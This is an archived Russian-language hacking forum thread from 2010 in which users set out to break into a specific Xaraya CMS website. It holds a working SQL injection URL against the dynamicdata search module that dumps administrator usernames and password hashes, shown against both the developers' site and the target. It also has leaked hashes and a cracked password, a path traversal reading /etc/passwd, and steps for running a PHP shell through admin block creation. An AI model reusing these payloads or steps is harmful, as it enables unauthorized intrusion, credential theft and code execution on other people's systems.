PDA

Просмотр полной версии : Xaraya CMS


zlo12
02.08.2010, 11:17
Есть ли какие-нибудь работающие эксплоиты под сабж?

Godfather Bulan
02.08.2010, 11:20
Видел всего один раз её. ссылку можешь дать?

zlo12
02.08.2010, 11:22
Godfather Bulan said:
Видел всего один раз её. ссылку можешь дать?


вот кагбэ www.site.ru

kfor
02.08.2010, 12:45
zlo12 said:
вот кагбэ www.***.ru



Ну ты блин меня вчера заморочил)) я до сих пор ковыряю эту еболу)))

Godfather Bulan
02.08.2010, 13:19
http://www.***.ru/base?code=8&exception=At:%20/www/***/www/htdocs/modules/sitecontact/xaruser/main.php%20(Line:%2061)%0AUndefined%20offset:%20%2 00&product=&component=&func=systemexit

Раскрытие путей

/www/***/www/htdocs/modules/sitecontact/xaruser/

kfor
02.08.2010, 13:22
ErrorNo: 1062, Messageatabase error while executing: 'INSERT INTO cms_session_info

(xar_sessid, xar_ipaddr, xar_uid, xar_firstused, xar_lastused)

VALUES ('73bc7ffd990ffbea5c638435ebe87a93\'','78.159.99.1 48',2,1280737072,1280737072)'; error description is: 'Duplicate entry '73bc7ffd990ffbea5c638435ebe87a93' for key 1'.

Впринципе еси я прально понимаю, то можно было бы попробовать поменять uid на админа. Но мою ковычу экронирует((

kfor
02.08.2010, 15:22
kfor said:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near
Я уже наступаю им на пятки)))



Всё)) есть скуля)) ща буду раскручивать. Кому интересно поделюсь =)

BrainDeaD
02.08.2010, 16:24
kfor said:
Всё)) есть скуля)) ща буду раскручивать. Кому интересно поделюсь =)


лучше сними видео на конкурс. покажи процесс поиска, интересные моменты.

kfor
02.08.2010, 18:13
не видео снимать не буду, у меня просто на работе ща завал, чуть позже выложу всё как и обещал. Главное что это ещё и на сайте разработчиков работает

kfor
03.08.2010, 00:52
Сорри что так долго. Короче после ночи просматривания грёбаных исходников и видя как все параметры перед выводом проводятся через функцию проверки... я всё таки нашёл место где параметр пихают не глядя

В модуле dynamicdata (к нему можно обращаться даже если ты не зареган) , при поиске выводится типа превтюхи $data['q'] = isset($q) ? xarVarPrepForDisplay($q) : null;

Собсно пример приведу на сайте разработчиков

http://www.xaraya.com/index.php?module=dynamicdata&func=search&itemtype=2&q=test'+union+select+1,xar_uname,xar_pass,4+from+x ar_roles+where+xar_uid=3+--+&dd_check%5B22%5D=1&dd_check%5B23%5D=1&dd_chec k%5B24%5D=1&dd_check%5B25%5D=1

И видим логин и мд5 пароля

Admin:d5b0db1c94d2d2e23b850792be247c9d

zlo12 Сайт который ты ломал там 4-я ветка и префикс, поэтому зпрос немного другой

http://***.ru/index.php?module=dynamicdata&func=search&itemtype=2&q=test%27+union+select+1%2Cxar_pass%2Cxar_uname%2C 4+from+cms_roles+where+xar_uid%3D3%2F%2A&dd_check%5B22%5D=1&dd_check%5B23%5D=1&dd_check%5B24%5D=1&dd_check%5B25%5D=1

test' union select 1,xar_pass,xar_uname,4 from cms_roles where xar_uid=4/*

И видим хеш

Admin:90116554c7244cc38acef19146ed7ee1

Мне удалось тока один хеш кольнуть и тот не админа.

web:3f230640b78d7e71ac5514e57935eb69:qazxsw

Воопщем доволен как слон , что добил а то уже хотел бросить ковырятся в этом говне)))

Если кольнёте хеши, то я бы судовольствием попробовал бы залить шел и поковыряться.

Собсно всё.

zlo12
03.08.2010, 09:59
о.О огромноe спaсибо

to.Index
03.08.2010, 12:19
отправил в личку хеш =) пользуйтесь

kfor
04.08.2010, 09:58
Что бы поставить точку я решил залить шел. Как дурак битые часы искал инклуды всякие и тд и тп В итоге в час ночи решил почитать мануал к этой CMS. Воопщем мож кому пригодиться. В условиях когда нет модуля UPLOADS сделать шел можно путём создания нового блока, тока задать ему нужно новый тип base / php.

Base - это базовый модуль который обрабатывает эту всю *мат*.

Да и ещё по ходу пьесы нашёл читалку внутри админки.

site.com/?module=sitetools&type=admin&func=cacheview&action=show&templn=themes/site/modules/xarpages/blocks/menu.xt%0A&hashn=../../../../../../../../../etc/passwd%00

P.S. Если нужно с блоками могу подробнее расписать.

kfor
06.08.2010, 18:26
По поводу создания блока.

Так как в приват получил сообщения о том что бы расписать как с блоками делать, то напишу сраз0у тут.

Переходим по пути

index.php?module=blocks&type=admin&func=new_instance

далее выбираем тип Parent Module / Type: base / php

Выбираем группу где будет отображаться

Block Group (optional): (к примеру about)

Далее пишем что там пишем пхп код . Кстати его нао вносить без тегов

Далее при переходе к этому блоку будет срабатывать и наш пхп блок.